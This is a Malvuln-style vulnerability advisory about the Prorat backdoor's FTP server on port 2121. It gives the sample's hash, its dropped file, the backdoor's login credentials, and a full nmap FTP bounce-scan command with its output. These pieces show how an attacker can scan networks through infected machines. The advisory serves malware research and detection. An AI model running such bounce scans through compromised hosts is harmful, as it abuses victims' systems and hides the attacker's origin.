Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Prorat.ntz  
Vulnerability: Port Bounce Scan  
Description: The malware runs an FTP server that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: ab96d7f9e008a0774239be6be0c8e7bb  
Vuln ID: MVID-2021-0381  
Dropped files: dxdiag.exe  
Disclosure: 10/27/2021  
nmap -n -Pn -b neokurd:neokurd@ -p21,22,23,79,80,443 -v  
Starting Nmap 7.80 ( ) at 2021-10-27 13:45 Pacific Daylight Time  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://neokurd:neokurd@  
Connected:220 Undetected by NeoKurD  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 13:45  
Discovered open port 80/tcp on  
Completed Bounce Scan at 13:45, 5.22s elapsed (6 total ports)  
Nmap scan report for  
Host is up.  
21/tcp closed ftp  
22/tcp closed ssh  
23/tcp closed telnet  
79/tcp closed finger  
80/tcp open http  
443/tcp closed https  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds  
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